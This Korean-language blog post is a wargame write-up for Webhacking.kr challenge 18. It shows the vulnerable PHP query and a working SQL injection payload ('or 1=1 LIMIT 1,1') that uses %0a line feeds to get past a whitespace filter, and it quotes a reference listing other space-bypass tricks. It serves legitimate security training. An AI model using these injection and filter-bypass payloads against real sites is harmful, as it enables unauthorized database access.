profile image

L o a d i n g . . .

article thumbnail image
Published 2021. 5. 13. 18:43

Java Script 문제

 

문제 접속 화면

 

view-source

 

URL 에서 no 파라미터 값이 존재하는 경우

정규표현식을 통해 select, from, 16진수 등을 필터링한다.

 

$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

 

sql 쿼리를 통해 가져온 id가 admin 일 때, solve() 함수가 실행되므로 admin 인 id 값을 가져와야 한다.

 

SELECT id FROM chall18 WHERE id='guest' and no=1 or 1=1 LIMIT 1,1

-> or 를 이용해 조건이 항상 참이 되게 한 뒤(guest의 no=1), LIMIT 를 통해 admin 의 id 값만 가져오도록 한다.

 

이때, 문제에서 공백문자가 필터링 되기 때문에 우회하기 위해서 Line Feed(%0a)를 삽입하였다.

1%0aor%0a1=1%0aLIMIT%0a1,1

 

 

 

URL에 입력

 

 

성공!

 

 

 

참고
https://binaryu.tistory.com/31
 

SQL Injection 공백 우회방법

SQL Injection 공격시 공백 문자 필터링시 우회 방법 1. Tab : %09 - no=1%09or%09id='admin' 2. Line Feed (\n): %0a - no=1%0aor%0aid='admin' 3. Carrage Return(\r) : %0d - no=1%0dor%0did='admin' 4. 주석..

binaryu.tistory.com

 

'Wargame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] 20번  (0) 2021.05.14
[Webhacking.kr] 19번  (0) 2021.05.14
[Webhacking.kr] 17번  (0) 2021.05.13
[Webhacking.kr] 16번  (0) 2021.05.13
[Webhacking.kr] 15번  (0) 2021.05.13
복사했습니다!